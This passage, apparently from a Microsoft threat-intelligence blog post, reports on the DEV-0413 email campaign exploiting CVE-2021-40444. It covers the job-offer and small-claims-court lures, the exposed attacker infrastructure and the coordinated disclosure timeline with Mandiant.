Mandiant as UNC1878.\n\nDue to the uncertainty surrounding the nature of the shared qualities of DEV-0365 infrastructure and the significant variation in malicious activity, MSTIC clustered the initial email campaign exploitation identified as CVE-2021-40444 activity separately, under DEV-0413.\n\nThe DEV-0413 campaign that used CVE-2021-40444 has been smaller and more targeted than other malware campaigns we have identified leveraging DEV-0365 infrastructure. We observed the earliest exploitation attempt of this campaign on August 18. The social engineering lure used in the campaign, initially highlighted by Mandiant, aligned with the business operations of targeted organizations, suggesting a degree of purposeful targeting. The campaign purported to seek a developer for a mobile application, with multiple application development organizations being targeted. In most instances, file-sharing services were abused to deliver the CVE-2021-40444-laden lure.\n\nIt is worth highlighting that while monitoring the DEV-0413 campaign, Microsoft identified active DEV-0413 infrastructure hosting CVE-2021-40444 content wherein basic security principles had not been applied. DEV-0413 did not limit the browser agents able to access the server to their malware implant or known targets, thereby permitting directory listing for their web server. In doing so, the attackers exposed their exploit to anyone who might have gained interest based on public social media discussion.\n\n![Screenshot of content of email in DEV-0413 campaign that used CVE-2021-40444](https://www.microsoft.com/security/blog/uploads/securityprod/2021/09/Figure3-email-lure.png)\n\n_Figure 3. Content of the original DEV-0413 email lure seeking application developers_\n\nAt least one organization that was successfully compromised by DEV-0413 in their August campaign was previously compromised by a wave of similarly-themed malware that interacted with DEV-0365 infrastructure almost two months before the CVE-2021-40444 attack. It is currently not known whether the retargeting of this organization was intentional, but it reinforces the connection between DEV-0413 and DEV-0365 beyond sharing of infrastructure.\n\nIn a later wave of DEV-0413 activity on September 1, Microsoft identified a lure change from targeting application developers to a \u201csmall claims court\u201d legal threat.\n\n![Screenshot of another email lure used in the campaigns](https://www.microsoft.com/security/blog/uploads/securityprod/2021/09/Figure4b-email-lure.png)\n\n_Figure 4. Example of the \u201cSmall claims court\u201d lure utilized by DEV-0413__ _\n\n## Vulnerability usage timeline\n\nOn August 21, 2021, MSTIC observed a social media post by a Mandiant employee with experience tracking Cobalt Strike Beacon infrastructure. This post highlighted a Microsoft Word document (SHA-256: [3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf](<https://www.virustotal.com/gui/file/3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf>)) that had been uploaded to VirusTotal on August 19, 2021. The post\u2019s focus on this document was highlighting the custom Cobalt Strike Beacon loader and did not focus on the delivery mechanism.\n\nMSTIC analyzed the sample and determined that an anomalous oleObject relationship in the document was targeted at an external malicious HTML resource with an MHTML handler and likely leading to abuse of an undisclosed vulnerability. MSTIC immediately engaged the Microsoft Security Response Center and work began on a mitigation and patch. During this process, MSTIC collaborated with the original finder at Mandiant to reduce the discussion of the issue publicly and avoid drawing threat actor attention to the issues until a patch was available. Mandiant partnered with MSTIC and did their own reverse engineering assessment and submitted their findings to MSRC.\n\nOn September 7, 2021, Microsoft released a security advisory for CVE-2021-40444 containing a partial workaround. As a routine in these instances, Microsoft was working to ensure that the detections described in the advisory would be in place and a patch would be available before public disclosure. During the same time, a third-party researcher reported a sample to Microsoft from the same campaign originally shared by Mandiant. This sample was publicly disclosed on September 8. We observed a rise in exploitatio